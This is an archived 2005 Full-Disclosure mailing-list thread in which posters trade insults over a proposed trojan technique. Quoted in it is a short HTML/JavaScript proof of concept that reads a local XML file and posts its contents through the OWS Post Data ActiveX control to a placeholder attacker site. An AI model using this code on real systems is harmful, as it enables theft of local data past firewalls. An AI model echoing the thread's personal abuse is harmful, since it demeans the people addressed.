Message-ID: <ffa8196a0512220924n38cc932cqa28d6da096883f06@mail.gmail.com>
Date: Thu Dec 22 17:24:34 2005
From: namepipe at gmail.com (name pipe)
Subject: new attack technique? using
	JavaScript+XML+OWSPost Data

Before flaming others just look at urself.  wtf u do moron debasis , sell
nessus reports for 5K, without even removing false +ives ??
This is ur elite resume ->
http://seclists.org/lists/security-jobs/2003/Oct/0156.html hahaha Ethical
Hacker ???? omfg. You trying to be next fadia or wat ? Do you want me to
post ur lame Firewall bypass vulnerabilities links which have been already
founded  years before?

Basically u are an asshole. So stfu.

On 12/22/05, Debasis Mohanty <mail@...kingspirits.com> wrote:
>
> Keep it up moron !!
>
> > oh yes, i am a kid compared to u (i am 22 and 27, so i am 5 years
> > kidder than u)
>
> Shit !! Another several years ppl has to tolerate your stupidity till you
> actuall _grow up_.
>
> > Tell me one thing, a Windows XP + Offfice XP + Internet explorer
> > combination so rare ?
>
> Is this a new topic ?? I mean are you done with your firewall and some
> weired trojan design :P
>
>
> - D
>
>
> -----Original Message-----
> From: gkverma@...il.com [mailto:gkverma@...il.com] On Behalf Of Gaurav
> Kumar
> Sent: Thursday, December 22, 2005 10:23 PM
> To: Debasis Mohanty
> Cc: full-disclosure@...ts.grok.org.uk
> Subject: Re: [Full-disclosure] new attack technique? using
> JavaScript+XML+OWSPost Data
>
> typo- i am 22 and YOU ARE 27, so i am 5 years kidder than u.
>
> On 12/22/05, Gaurav Kumar <gaurav@...urebox.org> wrote:
> > oh yes, i am a kid compared to u (i am 22 and 27, so i am 5 years
> > kidder than u)
> >
> > The _real_ thing is that I proved the point.
> > U told win xp will give access denied error. I proved u wrong with the
> > proof attached.
> > U told above technique wont work...i proved u wrong.
> > Tell me one thing, a Windows XP + Offfice XP + Internet explorer
> > combination so rare ?
> >
> > Is that all making ur ego shattered?
> >
> > ...and u are no one to decide what should one disuss on this list.
> >
> > regards,
> > gaurav
> >
> >
> >
> > On 12/22/05, Debasis Mohanty <mail@...kingspirits.com> wrote:
> > > Kid,
> > > Although I normally don't reply to such frivilous and lame
> > > statements but your reply has seriously piss me off.. So dropping
> > > few lines, perhaps will help you grow up !!
> > >
> > > -----Original Message-----
> > > >> From: Gaurav Kumar brazenly wrote:
> > >
> > > >> Looks like u need to read again what i wrote. I didnt use the
> > > >> word
> > > 'spread'.
> > >
> > > I don't have to !! I can still remember your priceless statements
> > > [1] + [2]
> > > -
> > >
> > > [1] A Trojan has been to be placed in a system running an
> > > application [1] firewall like Zone Alarm Pro etc.
> > >
> > > [2] The target system must be having office XP and the user has to
> > > be [2] lured to view a webpage hosted by attacker.
> > >
> > >
> > > ROFL !! May be you could just ask your l33t victim to send you his
> > > passwords and other info by email :P Don't forget to send him your
> > > l33t email ID - '@...urebox.org'
> > >
> > >
> > > >> [3] Moreover, u need not know if the target system is running ZA
> > > >> or
> > > not...
> > > >> [3] "the technique works even if firewall is not installed".
> > >
> > > >> [4] I am discussing a possible 'design' of a trojan here, "doesnt
> > > >> matter
> > > is ZA
> > > >> [4] or any other FW is running on client".
> > >
> > > Looking at statement [3] & [4], (especially the statement within
> > > double
> > > quotes) just made me believe that you don't know what your are
> > > talking about unless you want to look like an idiot.
> > >
> > >
> > > >> really? ever heard of IE exploits?
> > >
> > > Priceless !!
> > >
> > >
> > > >> Well..Exactly! i would suggest u read the 'assumptions' first,
> > > >> its an assumption that user will click yes to warning...like most
> 'normal'
> > > users do.
> > >
> > > Yet another priceless statement... Maybe you could just ask your
> > > l33t victim to click 'yes' to your l33t piece of code trying to
> > > download some l33t piece of shit which will fail to run and die like
> an
> idiot.
> > >
> > >
> > > I am sure you have enough l33t skills to strick back to keep your
> > > ego up2date however, I wud rather suggest if you have only your
> > > stupidity to share then feel free to take it offline and don't piss
> > > off everyone in this list. I would welcome you if you really want to
> > > strike back with some _serious_ technical stuff. (Note: make a note
> > > of _serious_ in the statement)
> > >
> > > - D
> > >
> > >
> > >
> > >
> > > -----Original Message-----
> > > From: gkverma@...il.com [mailto:gkverma@...il.com] On Behalf Of
> > > Gaurav Kumar
> > > Sent: Thursday, December 22, 2005 8:52 AM
> > > To: Debasis Mohanty
> > > Cc: full-disclosure@...ts.grok.org.uk; websecurity@...appsec.org
> > > Subject: Re: [WEB SECURITY] RE: [Full-disclosure] new attack
> technique?
> > > using JavaScript+XML+OWSPost Data
> > >
> > > On 12/22/05, Debasis Mohanty <mail@...kingspirits.com> wrote:
> > > > -----Original Message-----
> > > > From: Gaurav Kumar
> > > > Sent: Wednesday, December 21, 2005 8:59 PM
> > > > To: full-disclosure@...ts.grok.org.uk
> > > > Cc: websecurity@...appsec.org
> > > > Subject: [Full-disclosure] new attack technique? using
> > > > JavaScript+XML+OWSPost Data
> > > >
> > > > 1>> A Trojan has been to be placed in a system running an
> > > > 1>> application firewall like Zone Alarm Pro etc.
> > > >
> > > > >> Assumptions:
> > > >
> > > > 2>> The target system must be having office XP and the user has to
> > > > 2>> be lured to view a webpage hosted by attacker.
> > > >
> > > > 3>> The Trojan can be designed to generate an xml file which will
> > > > 3>> contain the data to be sent out. The attacker will lure
> > > > the
> > > > 3>> user to visit a website hosted by him.
> > > >
> > > > Lol !! In a practical scenario, the attacker who spreads the
> > > > worm/trojans himself is not aware in the initial stage which are
> > > > the infected machines unless the trojan sends back the
> > > > machine/user info back to the attacker. Now as you have already
> > > > mentioned ZA is running then no data can be sent back to the
> > > > attacker. So the attacker is clueless
> > > which are those infected machines.
> > >
> > > Looks like u need to read again what i wrote. I didnt use the word
> 'spread'.
> > > Moreover, u need not know if the target system is running ZA or
> > > not...the technique works even if firewall is not installed. I am
> > > discussing a possible 'design' of a trojan here, doesnt matter is ZA
> > > or any other FW is running on client.
> > >
> > > > So the case of luring the user to visit the link is out of scope...
> > >
> > > really? ever heard of IE exploits?
> > >
> > > >
> > > > >> The site can have following HTML code-
> > > >
> > > > Now coming back to technical stuff, You are trying to access a
> > > > local file which will only be allowed if the site is in "Trusted
> > > > Sites" or "Local Intranet" or "Local Security Zone" and activex not
> marked safe.
> > > > The fact that *the client is also the server* is irrelevant.
> > > >
> > > > Try uploading the script to some webserver and give a html
> > > > extention; it will throw an _access denied_ error when the page
> > > > loads (even on Win XP + SP1).
> > > >
> > > > In case of any server side extention like *.asp, *.jsp etc, the
> > > > user will be prompted that an malicious component is trying to
> > > > load and ask for user permission.
> > > >
> > > >
> > > > >> <html>
> > > > >> <body>
> > > > >> The author is not responsible for any misuse, this PoC is for
> > > > >> educational purpose only.
> > > > >> <object classid="clsid:{BDEADE98-C265-11D0-BCED-00A0C90AB50F}"
> > > > >> id="exp">
> > > > >> </object>
> > > > >> <script LANGUAGE=javascript>
> > > > >> var xmlDoc
> > > > >> xmlDoc = new ActiveXObject("Microsoft.XMLDOM");
> > > > >> xmlDoc.async=false;
> > > > >> xmlDoc.load("c:\\note.xml");
> > > > >> xmlObj=xmlDoc.documentElement;
> > > > >> var a= xmlObj.firstChild.text;
> > > > >> exp.Post(0,"http://www.attackersite.com/input.asp",a);
> > > > >> </script>
> > > > >> </body>
> > > > >> </html>
> > > >
> > > >
> > > > >> The above code (works well on windows XP SP2) essentials calls
> > > > >> "OWS Post Data" COM control to post the contents of note.xml
> > > > >> (generated by trojan) to attackersite.com
> > > >
> > > > IMHO, never conduct such tests in a "Intranet Zone" or "Local Zone"
> > > > and draw conclusion about "Internet Security Zone".
> > > >
> > > > You may also link to know about this issue -
> > > > http://support.microsoft.com/kb/317244/EN-US/
> > > >
> > > >
> > > > >>> Essentially, the technique is breaking the basic functionality
> > > > >>> of application firewalls by using OWS Post Data as bridge for
> > > > >>> sending out the data using Javascript and XML.
> > > >
> > > > Not Exactly !! I wud rather suggest you to do a little more
> > > > research and draw any conclusion. Keep those _Security Zones_ in
> > > > mind before you post anything...
> > >
> > > Well..Exactly! i would suggest u read the 'assumptions' first, its
> > > an assumption that user will click yes to warning...like most 'normal'
> > > users do.
> > > >
> > > >
> > > > - D
> > >
> > >
> > >
> >
>
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20051222/323dd6f4/attachment.html

Powered by blists - more mailing lists